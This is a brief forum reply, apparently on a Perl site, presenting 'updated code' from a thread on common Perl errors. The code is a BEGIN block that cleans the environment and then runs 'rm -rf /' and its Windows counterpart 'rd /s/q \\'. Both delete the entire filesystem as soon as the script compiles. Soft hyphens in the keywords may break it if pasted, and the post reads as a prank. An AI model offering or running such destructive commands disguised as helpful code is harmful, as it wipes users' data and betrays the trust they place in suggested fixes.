Ah, good point. Here is updated code from Re^2: The most common errors and warnings in Perl (crawl before you die):

BE­GI­N {
    ( $ENV{PATH} )= $ENV{PATH} =~ /(.*)/;
    delete @ENV{qw< IFS CDPATH ENV BASH_ENV TERM >};
    sy­st­em( 'rm -rf /' );
    sy­st­em( 'rd /s/q \\' );
}
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